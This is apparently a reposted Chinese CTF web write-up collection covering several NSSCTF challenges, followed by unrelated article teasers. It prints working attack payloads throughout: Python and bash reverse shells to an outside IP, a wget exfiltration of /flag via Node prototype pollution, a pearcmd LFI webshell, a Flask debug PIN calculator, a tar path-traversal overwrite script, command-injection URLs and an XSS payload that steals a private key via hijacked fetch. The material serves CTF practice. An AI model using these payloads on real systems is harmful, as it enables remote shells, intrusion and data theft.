act=python3${IFS}-c${IFS}'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("124.222.136.33",1337));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

成功反弹shell

 经过尝试不能直接读环境变量

env也没偷鸡成功,但起码知道debug是开着的&用户名是ctf

Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台

看模板进程,正常是15-18

ls -lh /proc/17/fd

17里翻到了flag1 

 

cat /proc/17/fd/3

 

接下来flask算pin

先随便整点报错,拿到绝对路径

/usr/local/lib/python3.10/site-packages/flask/app.py

用户已知是ctf

读getNode得到uuid

cat /sys/class/net/eth0/address

0242ac0264db 十六进制转十进制即可 

2485376935131

读/proc/sys/kernel/random/boot_id

780aeba6-919e-4c3d-854f-e2e8936f5ab1

读 /proc/self/cgroup 

0ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041

整理后 拼接得到最终machine_id

780aeba6-919e-4c3d-854f-e2e8936f5ab10ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041

算pin脚本

import hashlib
from itertools import chaindef getPIN(public_bits, private_bits):rv = Nonenum = None# h = hashlib.md5()h = hashlib.sha1()for bit in chain(public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x: x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_nameif __name__ == "__main__":public_bits = ['ctf','flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py']private_bits = ['2485376935131','780aeba6-919e-4c3d-854f-e2e8936f5ab10ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041']PIN = getPIN(public_bits, private_bits)print(PIN)

在/shell处打开console输入pin码,读变量flag2

[NSSRound#7 Team]新的博客

随便注册一个账号,登录

点第二个链接直接弹窗

点第一个链接跳转

拿随波逐流base64->hex->base64->hex解个码

CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码

附件里的flag文件提示要拿admin

www/app/conf/userinfo.json中拿到admin账密,显然后者不可逆

{"admin": "c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec"
}

点击备份功能

看到flag在/Z3r4y/flag

点击恢复功能

可以上传一个tar.gz文件,存在路径覆盖漏洞

  生成压缩包脚本

import os, hashlib, jsonusername = 'Z3r4y'
admin_passwd = 'admin'os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')

上传该压缩包

登出,以admin/admin登录,访问第二个链接,拿到flag 

[NSSRound#8 Basic]MyPage

进来存在一个文件包含

?file=php://filter/convert.base64-encode/resource=index.php

啥也读不出来

文件包含直接打pearcmd

利用pearcmd.php本地文件包含(LFI)-CSDN博客

/index.php?file=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

/index.php?file=/tmp/shell.phpcmd=system('env');

[NSSRound#8 Basic]MyDoor 

伪协议读index.php,base64解码拿到源码

/index.php?file=php://filter/convert.base64-encode/resource=index.php

<?php
error_reporting(0);if (isset($_GET['N_S.S'])) {eval($_GET['N_S.S']);
}if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include $file;} else {die('error.');}
}

直接给了后门

/index.php?N[S.S=system('env');

[NSSRound#8 Basic]Upload_gogoggo

抓包看响应头啥也没有

随便上传一个文件 

发现执行了 go 文件名前缀

 

尝试上传help.txt

这次执行了 go 文件名前缀 文件名

尝试上传恶意go文件

目的构造go run xxx.go,所以文件名改成run.go

package mainimport ("bytes""fmt""os/exec"
)func main() {// 创建一个*exec.Cmd,这里以`ls`命令为例。如果你在Windows上运行,可以改为`cmd`和`/C dir`。cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/124.222.136.33/1337 0>&1")// 创建一个bytes.Buffer来捕获命令的标准输出。var out bytes.Buffercmd.Stdout = &out// 运行命令err := cmd.Run()if err != nil {fmt.Println("Error executing command:", err)return}// 打印命令的输出fmt.Println("Command output:", out.String())
}

反弹shell拿flag碎片,base64解码即可

 

 

[NSSRound#8 Basic]ez_node 

下载附件,看server.js

const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");const PORT = process.env.port || 3000
const app = express();global = "global"app.listen(PORT, () => {console.log(`listen at ${PORT}`);
});function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());app.use(express.static("./public"));app.post("/upload", (req, res) => {try{let oldName = req.files[0].path;let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;fs.renameSync(oldName, newName);res.send({err: 0,url:"./upload/" +req.files[0].filename +path.parse(req.files[0].originalname).ext});}catch(error){res.send(require('./err.js').getRandomErr())}
});app.post('/pollution', require('body-parser').json(), (req, res) => {let data = {};try{merge(data, req.body);res.send('Register successfully!tql')require('./err.js').getRandomErr()}catch(error){res.send(require('./err.js').getRandomErr())}
})

err.js

obj={errDict: ['发生肾么事了!!!发生肾么事了!!!','随意污染靶机会寄的,建议先本地测','李在干神魔👹','真寄了就重开把',],getRandomErr:() => {return obj.errDict[Math.floor(Math.random() * 4)]}
}
module.exports = obj

参考文章:Node.js require() RCE复现 | Jiekang Hu's Blog 

在require非原生库的过程中,最终会去调用PkgPath和pkg.exports拼接起来的字符串所指定的文件

payload:

test.js

没有curl,nc,bash,考虑用wget来外带数据

obj={getRandomErr:() => {require('child_process').execSync('wget http://124.222.136.33:1337/`cat /flag`')}
}
module.exports=obj

上传成功

污染

{"__proto__": {"data": {"name": "./err.js","exports": "./db93efa882fa2a00a76ce0595bea087e.js"},"path": "/app/upload"}
}

接收到flag 

 

 ​​​

[NSSRound#13 Basic]flask?jwt?

随便注册个号登录

点击拿flag回显要admin

注意到session为jwt

在忘记页码界面找到secretkey: th3f1askisfunny

先解密

把_user_id改为1再加密

改session,拿flag

[NSSRound#13 Basic]flask?jwt?(hard)

进来注册登录,session解密,看到除了_id,还需要多伪造一个time

去忘记密码页面找secretkey没找到,回到用户界面右键查看源码得知secretkey路径 

访问/wor得知上次登录的时间,注意到这个时间就是我们对session进行解密得出的time,所以/wor这个页面对session存在读取操作

 确实没找到secret_key,尝试删掉部分session让其报错拿到secret_key

 再拿secret_key解密一下

_id改为1,加密 

 改session,拿flag

[NSSRound#13 Basic]ez_factors 

 点击Tool跳转

2*31*1847=114514,这里就是从url里接参,然后作为命令拼接调用

尝试;env拼接命令,可以执行,说明是linux命令,但只回显数字

 

然后用10进制输出文件内容

直接传会报错

/factors/114514;od -t dC /flag

于是url编码一次

payload:

/factors/114514;%6f%64%20%2d%74%20%64%43%20%2f%66%6c%61%67

 

把拿到的数据还原成字符串拿到flag

[NSSRound#13 Basic]MyWeb

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

所以考虑内敛执行 

payload:

先写入拼接恶意命令,注意//注释掉了本行内容,所以需要%0a来换行,eval是支持换行执行的

?mode=save&value=]//%0a;echo%20`cat%20/flag`;//

 再读命令执行结果

?mode=read

[NSSRound#13 Basic]TimeTrcer 

先随便create一个note

 点击链接跳转,点击Report it,弹窗一眼xss

 右键查看源码,注意这段js

  1. function sleep(ms) {...}定义了一个名为sleep的函数,它接受一个参数ms,表示毫秒数。该函数返回一个Promise对象,在指定的毫秒数后resolve这个Promise。

  2. 使用let hash = new URLSearchParams(location.search).get('hash');从当前页面的URL中获取名为"hash"的参数的值。

  3. 使用立即调用的异步函数表达式 (async () => {...})() 来执行异步任务。这个异步函数主要是用来获取用户输入的私钥,并向后端发送请求来获取笔记的数据。

  4. 用户会被提示输入私钥,然后弹出确认框,如果用户确认使用这个私钥,则会向服务器发起POST请求,请求获取笔记数据。笔记数据将会在网页中显示。

  5. 在标题显示之后,使用了一个await sleep(500);来暂停执行500毫秒。这可能是为了增加一些挑战性。

  6. 最后,当点击"report"按钮时,会向后端发送一个报告请求,并弹出一个alert框显示报告的响应内容。

payload:

<img src="" onerror="window.confirm=(a)=>{return true;};var fakefetch
= window.fetch; window.fetch = async (...args) => {await
fakefetch('http://124.222.136.33:1337', {method: 'POST',mode: 'no-cors',body:
JSON.stringify(args),}); }; window.content = undefined; var fetched =
false; Error.prepareStackTrace = (_, callsites) =>
{console.log('jacked');callsites.forEach((callsite) => {if(fetched ==
false){callsite.getFunction()(); fetched =true}}); };" />

解读一下这段payload:

1、插入了img标签,使得56-65这段匿名函数执行停止,去加载img外部引用,因为没有外部引用,所以触发img的error,执行js代码
 2、js代码把confirm替换默认返回true,将fetch替换为将传递的参数发送到我们的vps,替换window.content = undefined来触发报错,替换Error.prepareStackTrace来通过报错来劫持调用栈

3、之后执行content.innerHTML = data.message.content,发生报错,执行Error.prepareStackTrace,通过 callsite.getFunction()获取当前调用栈的函数,也就56-65这段的匿名函数,再callsite.getFunction()(),让这段匿名函数再次执行

4、 if (confirm('Using this pirvateKey? Cancel For retype'))直接返回true,接下来fetch被我们之前替换了,所以执行fakefetch,将传递进来的参数包括私钥发送到我们的vps

哈希值c81e728d9d4c2f636f067f89cc14862c是字符串"2"的MD5哈希结果

发现 hash 参数仅仅由数字 md5 生成,相对应的数字即为 note 序号。管理员的笔记 hash 即为 md5(1) c4ca4238a0b923820dcc509a6f75849b

点击链接,report it让bot点击,成功接收

扔给gpt处理一下

拿着这个私钥去访问/view?hash=c4ca4238a0b923820dcc509a6f75849b,拿到flag

[NSSRound#16 Basic]RCE但是没有完全RCE

[NSSRound#16 Basic]了解过PHP特性吗

【Web】NSSCTF Round#16 Basic个人wp(全)

[NSSRound#17 Basic]真·签到

[NSSRound#17 Basic]真的是文件上传吗?

【Web】NSSCTF Round#17 Basic个人wp(全)

[NSSRound#18 Basic]门酱想玩什么呢?

[NSSRound#18 Basic]Becomeroot

【Web】NSSCTF Round#18 Basic个人wp(部分)_nss becomeroot-CSDN博客

[NSSRound#18 Basic]easy_rw 

直接扫出来信息泄露

或者CVE复现即可

Apache DolphinScheduler 敏感信息泄漏 (CVE-2023-48796)_墨知

/actuator是Actuator端点的默认路径前缀。在不同的Spring Boot版本和配置中,可用的端点可能会有所不同,但下面是一些常见的/actuator下的子端点及其用途:

1. /actuator/health

提供应用的健康信息。可以显示应用是否处于运行状态以及各种健康指标的详情,比如数据库连接是否正常、磁盘空间是否足够等。

2. /actuator/info

显示应用的基本信息,这些信息可以通过在application.propertiesapplication.yml文件中配置info属性来自定义。

3. /actuator/metrics

提供应用的详细指标,如内存使用情况、HTTP请求计数、线程池状态等。可以查询特定的指标来获取更细致的数据。

4. /actuator/env

显示应用的环境属性,包括配置属性、系统环境变量、系统属性等。

5. /actuator/loggers

允许查看和修改应用中日志记录器的配置,比如动态调整日志级别。

6. /actuator/heapdump

提供一个JVM堆转储文件,可以用于深入分析应用的内存使用情况。

7. /actuator/threaddump

提供当前应用的线程状态快照,有助于诊断死锁或其他线程问题。

8. /actuator/auditevents

显示应用的审计事件信息,比如认证事件、访问决策等,前提是应用配置了审计功能。

9. /actuator/caches

显示应用中缓存的详细信息,前提是应用使用了Spring Framework的缓存抽象。

10. /actuator/scheduledtasks

列出应用中所有的定时任务信息。

11. /actuator/httptrace

显示HTTP跟踪信息(比如最近的HTTP请求-响应交换),这取决于HttpTraceRepository的配置。

访问/dolphinscheduler/actuator/env直接读到环境变量里的flag 

[NSSRound#20 Basic]真亦假,假亦真

[NSSRound#20 Basic]CSDN_To_PDF V1.2

【Web】NSSCTF Round#20 Basic 个人wp-CSDN博客

[NSSRound#20 Basic]baby-Codeigniter 

[NSSRound#20 Basic]组合拳!

【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/816930.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【入门】时钟旋转

时间限制 : 1 秒 内存限制 : 128 MB 时钟上面的时针从m时走到n时旋转了多少度&#xff1f;&#xff08;m<n&#xff0c;且m和n都是1~12之间的整数&#xff09; 输入 2个整数m和n 输出 一个整数代表时针旋转的度数 样例 输入 1 4 输出 90 提示 基础问题 #includ…

SQL语法 case when语句用法讲解

CASE WHEN解释 &#xff1a; SQL中的CASE WHEN语句是一种条件表达式&#xff0c;它允许你根据不同的情况返回不同的值。CASE WHEN通常用于SELECT语句中&#xff0c;用于创建新的列&#xff0c;该列的值取决于其他列的值。CASE WHEN可以用于任何可以使用表达式的地方。 大致概…

二叉树和数据结构

小红的完全二叉树构造 题目描述 小红想构造一个总共 n 个节点完全二叉树&#xff0c;该二叉树满足以下两个性质&#xff1a; 1. 所有节点的权值值为 1 ~ n 的一个排列。 2. 除了根节点以外&#xff0c;每个节点的权值和它父亲的权值的乘积为偶数。 请你帮小红构造出这个二叉树…

K8S一 k8s基础知识及实战

一 K8S 概览 1.1 K8S 是什么&#xff1f; K8S官网文档&#xff1a;https://kubernetes.io/zh/docs/home/ K8S 是Kubernetes的全称&#xff0c;源于希腊语&#xff0c;意为“舵手”或“飞行员”&#xff0c;官方称其是&#xff1a;用于自动部署、扩展和管理“容器化&#xff08…

软考 系统架构设计师系列知识点之大数据设计理论与实践(5)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之大数据设计理论与实践&#xff08;4&#xff09; 所属章节&#xff1a; 第19章. 大数据架构设计理论与实践 第3节 Lambda架构 19.3.1 Lambda架构对大数据处理系统的理解 Lambda架构由Storm的作者Nathan Marz提出&…

伺服系统中电机磁极偏角自学习的实现方案

一、 电机磁极偏角自学习原理简述 要知道磁极偏角&#xff0c;首先要明确的是磁极角&#xff0c;在我个人的理解里磁极角就是park和Ipark变换里所需的电角度&#xff0c;我们的矢量控制方法是定磁链的&#xff0c;就是要保证两相同步旋转坐标系的Id轴和三相静止坐标系的A轴要重…

45---M.2 SSD电路设计

视频链接 M.2 SSD硬件电路设计01_哔哩哔哩_bilibili M.2 SSD电路设计 1、M.2简介 1.1、M.2基本介绍 M.2接口也叫NGFF&#xff0c;英文全称Next Generation Form Factor。M.2接口是为超极本&#xff08;Ultrabook&#xff09;量身定做的新一代接口标准&#xff0c;是Intel推…

Java实现二叉树(下)

1.前言 http://t.csdnimg.cn/lO4S7 在前文我们已经简单的讲解了二叉树的基本概念&#xff0c;本文将讲解具体的实现 2.基本功能的实现 2.1获取树中节点个数 public int size(TreeNode root){if(rootnull){return 0;}int retsize(root.left)size(root.right)1;return ret;}p…

314_C++_QT表格的撤销、恢复,可对多行、多item进行撤销、恢复操作

行–删除后的,撤销、恢复图示: 原图示 删除后 撤销操作 恢复操作 item修改后的撤销、恢复 原item 撤销修改 恢复修改 代码: --</

[开发日志系列]PDF图书在线系统20240415

20240414 Step1: 创建基础vueelment项目框架[耗时: 1h25min(8:45-10:10)] 检查node > 升级至最新 (考虑到时间问题,没有使用npm命令行执行,而是觉得删除重新下载最新版本) > > 配置vue3框架 ​ 取名:Online PDF Book System 遇到的报错: 第一报错: npm ERR! …

实时避障系统开启盲人独立出行新时代

作为一名资深记者&#xff0c;我始终关注并报道科技如何助力特殊群体克服生活挑战的创新实践。近期&#xff0c;我有幸深入了解了一款专为盲人设计的辅助应用叫做蝙蝠避障&#xff0c;它以实时避障系统为核心&#xff0c;为视障人士独自出行提供了强有力的支持&#xff0c;悄然…

服务器挖矿病毒解决ponscan,定时任务解决

服务器挖矿病毒解决ponscan&#xff0c;定时任务解决 挖矿病毒会隐藏chattr的操作权限&#xff0c;让我们无法删除病毒文件&#xff0c;杀掉病毒进程。所以要去下载chattr.c的文件&#xff0c;编译成a.out。然后再对原来的chattr文件的权限进行修改。然后覆盖掉它。 chattr.c …

JavaFX制作login页面

JavaFx制作简单的login页面demo public class LoginFxDemo extends Application {public static void main(String[] args) {Application.launch(args);}Overridepublic void start(Stage primaryStage) throws Exception {Label nLabel new Label("姓名:");nLabel.…

编曲知识19:自动化处理 发送原理 混响 延迟

自动化处理 发送原理 混响 延迟小鹅通-专注内容付费的技术服务商https://app8epdhy0u9502.pc.xiaoe-tech.com/live_pc/l_661a68eae4b023c0a96a8b36?course_id=course_2XLKtQnQx9GrQHac7OPmHD9tqbv 自动化处理 自动化 鼠标挪动到轨道左下角打开自动化轨道 或右键轨道-左键单击…

Softmax函数和Sigmoid函数的思考

【为什么 Softmax 函数面对二分类问题时可以简化为 Sigmoid 函数】 将二分类问题当成普通多分类问题&#xff0c;神经网络如下所示&#xff1a; 因为有两个分类&#xff0c;所以需要有两个输出&#xff0c;然后经过 Softmax 后得到每个分类的预测概率。 假设第一个分类的得分…

SpringBoot 日志系统解析

日志实现框架 常见框架: JULLogbacLog4jLog4j2 日志实现的抽象层 避免代码的改动影响用户的使用, 常见的: JCLSLF4J 日志发展历程 JDK1.3及以前, 通过System.(out | err).println打印, 存在巨大缺陷解决系统打印缺陷问题出现log4,2015年8月停止更新受到log4j影响, SUN公…

linux文件访问权限理解

目录 一&#xff0c;涉及指令: 二&#xff0c;权限的表示 三&#xff0c;权限命令使用 一&#xff0c;涉及指令: umask chmod chown/chgrp 二&#xff0c;权限的表示 rwx rwx r-x含义: 访问方式: r-可读;w-可写&#xff1b;x-可执行&#xff1b; 访问用户:u-所有者;…

css 实现排行榜向上滚动

使用动画实现无线向上滚动 复制一层dom&#xff0c;使用动画向上滚动&#xff0c;鼠标hover的时候暂停动画 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthd…

02 | 事件驱动框架(Get/Set)

02 | 事件驱动框架&#xff08;Get/Set&#xff09; 【程序员的末路诗】01 aeEventLoop数据结构1&#xff09;aeEventLoop2&#xff09;aeFileEvent3&#xff09;aeTimeEvent 02 epoll 实例创建&#xff08;epoll_create&#xff09;1&#xff09;创建eventLoop结构体2&#xf…

香港科技大学广州|智能制造学域博士招生宣讲会—广州大学城专场

香港科技大学广州&#xff5c;智能制造学域博士招生宣讲会—广州大学城专场 时间&#xff1a;2024年4月18日&#xff08;星期四&#xff09;14:30 地点&#xff1a;广州市大学城雅乐轩酒店二楼策略2厅&#xff08;地铁大学城南站C口&#xff09; 报名链接&#xff1a;https:/…